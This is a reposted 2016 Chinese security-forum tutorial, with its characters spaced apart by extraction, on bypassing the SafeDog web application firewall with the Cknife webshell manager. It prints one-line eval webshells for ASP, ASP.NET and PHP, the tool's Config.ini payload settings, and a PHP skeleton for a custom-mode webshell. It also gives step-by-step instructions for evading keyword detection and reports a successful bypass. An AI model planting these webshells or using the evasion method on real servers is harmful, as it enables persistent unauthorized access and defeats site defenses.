搜索

[9940] 2016-03-22_打狗棒法之：Cknife（C刀）自定义模式秒过安全狗

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2016-03-22_打狗棒法之：Cknife（C刀）自定义模式秒过安全狗 打 狗 棒 法 之 ： C k n i f e （ C 刀 ） 自 定 义 模 式 秒 过 安 全 狗 F r e e B u f   2 0 1 6 - 0 3 - 2 2 免 责 声 明 ： 本 站 提 供 安 全 工 具 、 程 序 免 责 声 明 ： 本 站 提 供 安 全 工 具 、 程 序 ( 方 法 方 法 ) 可 能 带 有 攻 击 性 ， 仅 供 安 全 研 究 与 教 学 之 用 ， 风 险 自 负 可 能 带 有 攻 击 性 ， 仅 供 安 全 研 究 与 教 学 之 用 ， 风 险 自 负 ! 0 x 0 0   前 言 前 言 很 多 朋 友 在 使 用 C k n i f e 时 都 误 以 为 她 只 是 菜 刀 的 跨 平 台 升 级 版 ， 仅 仅 多 了 跨 平 台 的 功 能 ， 其 实 小 伙 伴 们 还 没 有 用 到 精 髓 之 处 ， 她 其 实 也 是 一 款 过 W A F 的 利 器 。 没 有 给 大 家 讲 解 如 何 去 使 用 它 这 是 我 的 责 任 ， 我 是 一 个 有 责 任 心 的 基 佬 ， 我 会 对 大 家 负 责 的 ， 于 是 有 了 下 面 的 文 章 ： 0 x 0 1   两 种 方 法 两 种 方 法 C k n i f e 有 两 种 过 W A F 模 式 ， 一 种 为 修 改 配 置 文 件 ( C o n f i g . i n i ) 过 W A F ， 另 外 一 种 为 C u s t o m i z e ( 自 定 义 ) 模 式 过 W A F 。 今 天 以 自 定 义 模 式 为 例 实 例 讲 解 秒 过 安 全 狗 ， 当 然 文 章 发 布 过 后 各 大 W A F 厂 商 肯 定 会 将 某 些 特 征 列 入 黑 名 单 ， 这 里 只 是 抛 砖 引 玉 提 供 思 路 。 0 x 0 2   R e a d M e . t x t 很 多 朋 友 在 使 用 软 件 的 时 候 都 很 少 会 关 注 她 ， 这 里 我 附 上 它 的 有 关 于 过 W A F 方 面 的 一 些 内 容 ， 请 大 家 仔 细 阅 读 红 色 部 分 。 使 用 说 明 ： 服 务 端 脚 本 支 持 A S P 、 A S P X 、 P H P 、 J S P 、 C u s t o m i z e ( 自 定 义 ) 。 代 码 包 含 且 不 限 于 如 下 代 码 （ 只 要 能 构 造 出 类 似 e v a l 的 函 数 就 行 ， 比 如 P H P 的 c r e a t e _ f u n c t i o n 、 a s s e r t 等 ） A S P :               < % e v a l   r e q u e s t ( " C k n i f e " ) % > A S P . N E T :       < % @   P a g e L a n g u a g e = " J s c r i p t " % > < % e v a l ( R e q u e s t . I t e m [ " C k n i f e " ] , " u n s a f e " ) ; % > P H P :               < ? p h p   @ e v a l ( $ _ P O S T [ ' C k n i f e ' ] ) ; ? > C u s t o m i z e :     自 定 义 类 型 , 功 能 代 码 在 服 务 端 保 存 , 理 论 上 支 持 所 有 动 态 脚 本 , 只 要 正 确 与 C 刀 进 行 交 互 即 可 。 此 模 式 可 按 需 定 制 ， 比 如 只 要 浏 览 目 录 ， 或 是 只 要 虚 拟 终 端 功 能 ， 代 码 可 以 很 简 短 。 过 过 W A F : 这 是 一 款 跨 平 台 的 基 于 配 置 文 件 的 中 国 菜 刀 ， 把 所 有 操 作 给 予 用 户 来 定 义 ， 主 程 序 只 是 图 形 的 展 示 ， 以 及 数 据 的 发 送 。 我 分 开 了 每 一 个 步 骤 写 入 到 配 置 文 件 里 面 ， 用 户 可 以 自 定 义 任 何 代 码 ， 包 括 更 改 参 数 名 称 ， 参 数 内 容 。 比 如 ： S K I N = j a v a x . s w i n g . p l a f . n i m b u s . N i m b u s L o o k A n d F e e l 设 置 皮 肤 为 n i m b u s
S P L = - > |         表 示 截 取 数 据 的 开 始 符 号 S P R = | < -       表 示 截 取 数 据 的 结 束 符 号 C O D E = c o d e               编 码 参 数 A C T I O N = a c t i o n             动 作 参 数 P A R A M 1 = z 1                       参 数 1 P A R A M 2 = z 2                       参 数 2 P H P _ B A S E 6 4 = 1               当 为 P H P 时 ， Z 1 ， Z 2 参 数 是 否 开 启 自 动 b a s e 6 4 加 密 ， 如 果 想 定 义 自 己 的 加 密 方 式 则 关 闭 设 置 为 0 P H P _ M A K E = @ e v a l ( b a s e 6 4 _ d e c o d e ( $ _ P O S T [ a c t i o n ] ) ) ; 生 成 方 式 ， 这 里 可 以 不 用 该 方 式 ， 可 以 用 你 任 何 想 要 的 方 式 P H P _ I N D E X = . . .             显 示 主 页 功 能 的 代 码 放 这 儿 P H P _ R E A D D I C T = . . .                   读 取 主 页 功 能 的 代 码 放 这 儿 P H P _ R E A D F I L E = . . .                   读 取 文 件 功 能 的 代 码 放 这 儿 P H P _ D E L E T E = . . .                           删 除 文 件 夹 以 及 文 件 功 能 的 代 码 放 这 儿 P H P _ R E N A M E = . . .                   重 命 名 文 件 夹 以 及 文 件 功 能 的 代 码 放 这 儿 P H P _ N E W D I C T = . . .                 新 建 目 录 功 能 的 代 码 放 这 儿 P H P _ U P L O A D = . . .                     上 传 文 件 功 能 的 代 码 放 这 儿 P H P _ D O W N L O A D = . . .               下 载 文 件 功 能 的 代 码 放 这 儿 P H P _ S H E L L = . . .                                   虚 拟 终 端 功 能 的 代 码 放 这 儿 P H P _ D B _ M Y S Q L = . . .                   管 理 M Y S Q L 数 据 库 功 能 的 代 码 放 这 儿 A S P _ . . . = . . . A S P X _ . . . = . . . J S P _ . . . = . . . 除 了 修 改 以 上 参 数 过 W A F 外 ， 程 序 还 额 外 提 供 了 一 种 C u s t o m i z e 过 W A F 的 模 式 。 C u s t o m i z e 模 式 原 本 是 用 于 支 持 一 些 程 序 默 认 不 支 持 的 脚 本 ， 比 如 C F M 、 A S M X 、 A S H X 、 P Y 等 等 ， 只 要 用 户 自 写 的 脚 本 能 正 确 与 菜 刀 进 行 交 互 即 可 。 换 一 个 思 考 方 式 ， 如 果 我 们 自 写 一 个 P H P 脚 本 实 现 了 列 文 件 以 及 目 录 的 功 能 ， 它 能 够 正 确 的 与 C 刀 进 行 交 互 ， 这 个 时 候 如 果 我 们 选 择 P H P ( E v a l ) 的 连 接 方 式 就 会 连 接 失 败 。 应 该 选 择 C u s t o m i z e 模 式 进 行 连 接 。 有 人 说 为 什 么 一 句 话 就 可 以 连 接 ， 你 偏 偏 还 要 写 这 么 多 代 码 用 C u s t o m i z e 模 式 连 接 ？ 如 果 一 个 很 厉 害 的 W A F 检 测 e v a l , a s s e r t 等 关 键 词 ， 你 的 一 句 话 实 在 是 饶 不 过 ， 这 个 时 候 你 可 以 不 用 一 句 话 ， 就 在 P H P 脚 本 里 用 正 常 代 码 实 现 列 文 件 以 及 目 录 ， 然 后 用 C u s t o m i z e 模 式 连 接 就 达 到 了 过 W A F 的 目 的 。 C u s t o m i z e ( 自 定 义 ) 模 式 跟 其 他 模 式 一 样 ， 每 一 个 步 骤 也 都 写 入 到 配 置 文 件 里 面 ， 用 户 同 样 可 以 参 数 名 称 以 及 参 数 内 容 。 比 如 你 自 写 了 用 C u s t o m i z e 模 式 连 接 的 C u s t o m i z e . p h p 服 务 端 。 显 示 主 页 功 能 提 交 的 参 数 应 该 是 ： 密 码 = 1 & a c t i o n = i n d e x 以 及 密 码 = 1 & a c t i o n = r e a d d i c t 。 如 果 C 刀 普 及 以 后 W A F 厂 商 肯 定 会 把 r e a d d i c t 列 入 黑 名 单 ， 这 个 时 候 你 就 可 以 修 改 r e a d d i c t 的 名 称 为 其 他 名 称 ， 同 样 可 以 修 改 a c t i o n 的 名 称 ， 也 可 以 修 改 1 为 其 他 字 符 C U S _ M A K E = 1 C U S _ I N D E X = i n d e x C U S _ R E A D D I C T = r e a d d i c t C U S _ R E A D F I L E = r e a d f i l e C U S _ S A V E F I L E = s a v e f i l e C U S _ D E L E T E = d e l e t e C U S _ R E N A M E = r e n a m e C U S _ N E W D I C T = n e w d i c t C U S _ U P L O A D = u p l o a d C U S _ D O W N L O A D = d o w n l o a d
C U S _ S H E L L = s h e l l [ 此 处 省 略 1 W 字 ] 0 × 0 3   自 定 义 模 式 过 自 定 义 模 式 过 W A F 原 理 原 理 如 果 只 是 使 用 一 句 话 ， 很 多 厂 商 都 查 杀 了 e v a l 等 敏 感 关 键 词 ， 也 查 杀 了 传 递 过 程 中 数 据 包 中 的 敏 感 关 键 词 。 我 们 只 需 要 正 常 的 实 现 列 目 录 、 读 文 件 等 功 能 并 且 没 有 包 含 e v a l 等 敏 感 关 键 词 就 可 以 绕 过 W A F 。 即 服 务 端 不 使 用 一 句 话 ， 而 是 把 功 能 代 码 都 放 在 服 务 端 来 执 行 ， 客 户 端 提 交 正 常 的 数 据 包 。 0 x 0 4   过 狗 准 备 过 狗 准 备 有 的 朋 友 说 还 要 自 己 写 列 目 录 、 读 文 件 等 等 这 些 功 能 啊 ， 那 肯 定 没 戏 了 。 其 实 不 需 要 自 己 写 ， 只 需 要 复 制 粘 贴 修 改 即 可 。 你 要 有 点 编 程 基 础 （ 不 用 担 心 只 要 会 i f 语 句 就 行 ） ， 然 后 按 照 我 给 的 框 架 添 加 就 行 。 以 P H P 为 例 ： 框 架 如 下 ： 框 架 如 下 ： < ? p h p $ p w d =   ' C k n i f e ' ;                 / / 密 码 i f ( $ _ P O S T   [ $ p w d ]   = =   1 )   {                     $ a c t   =   $ _ P O S T   [ ' a c t i o n ' ] ;                   / /   a c t i o n 名 称                   e c h o   ( " - > | " ) ;         / /   前 分 隔 符                   i f   ( $ a c t   = =   ' i n d e x ' )   {                       / /   显 示 主 页 功 能                   }   e l s e   i f   ( $ a c t   = =   ' r e a d d i c t ' )   {       / /   读 取 目 录 功 能                   }   e l s e   i f   ( $ a c t   = =   … )                     / /   你 想 要 实 现 的 功 能 ， 可 以 从 C o n f i g . i n i 里 面 解 密 出 来 使 用 { }                   e c h o   ( " | < - " ) ;         / /   后 分 隔 符 } ? > 首 先 打 开 咋 们 可 爱 的 C o n f i g . i n i 文 件 ， 找 到 P H P _ I N D E X
它 是 C 刀 文 件 管 理 显 示 主 页 的 功 能 ， 我 们 先 把 它 解 密 ， 先 u r l 解 密 再 b a s e 6 4 解 密 把 解 密 结 果 放 到 e c l i p s e 里 面 ， 自 动 整 理 下 （ 右 键 S o u r c e - > F o r m a t ）
去 掉 e c h o   ( " - > | " ) 前 面 的 所 有 代 码 ， 去 掉 e c h o   ( " | < - " ) 后 面 的 所 有 代 码 。 把 中 间 的 代 码 复 制 到 框 架 里 对 应 的 功 能 里 然 后 就 是 找 到 P H P _ R E A D D I C T 解 密 ， 这 里 要 注 意 解 密 出 来 z 1 参 数 前 面 有 b a s e 6 4 _ d e c o d e 函 数 ， 我 们 的 自 定 义 模 式 下 传 递 方 式 是 原 文 传 递 ， 不 会 自 动 b a s e 6 4 加 密 ， 所 以 要 去 掉 所 以 要 去 掉 b a s e 6 4 _ d e c o d e 函 数 函 数
还 是 老 规 矩 ， 去 掉 e c h o   ( " - > | " ) 前 面 的 所 有 代 码 ， 去 掉 e c h o   ( " | < - " ) 后 面 的 所 有 代 码 。 把 中 间 的 代 码 复 制 到 框 架 里 对 应 的 功 能 里 ， 注 意 这 里 已 经 去 掉 了 b a s e 6 4 _ d e c o d e 函 数 。 最 后 按 照 前 面 的 方 式 再 加 入 读 取 文 件 的 功 能 ， 即 P H P _ R E A D F I L E
把 代 码 保 存 为 t e s t . p h p ， 然 后 选 用 自 定 义 模 式 连 接 测 试 发 现 并 没 有 拦 截 测 试 发 现 并 没 有 拦 截
我 们 尝 试 下 一 句 话 连 接 ， 发 现 会 被 拦 截 我 们 尝 试 下 一 句 话 连 接 ， 发 现 会 被 拦 截
0 x 0 5   总 结 总 结 参 数 名 称 ， 参 数 内 容 都 可 以 修 改 ， 哪 怕 是 厂 商 把 r e a d d i c t 列 入 黑 名 单 ， 你 同 样 可 以 在 C o n f i g . i n i 里 面 修 改 成 其 他 的 名 称 。 让 我 想 起 了 周 星 驰 破 坏 之 王 里 的 一 句 话 ： “ 我 不 是 针 对 谁 ， 我 是 说 在 座 的 各 位 都 是 垃 圾 ” 。 无 敌 是 多 么 的 寂 寞 。 点 击 最 下 方 “ 阅 读 原 文 ” 查 看 下 载 地 址 [ 本 文 由 C h o r a 撰 写 并 投 稿 ， 转 载 须 注 明 来 自 F r e e B u f . C O M ]
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理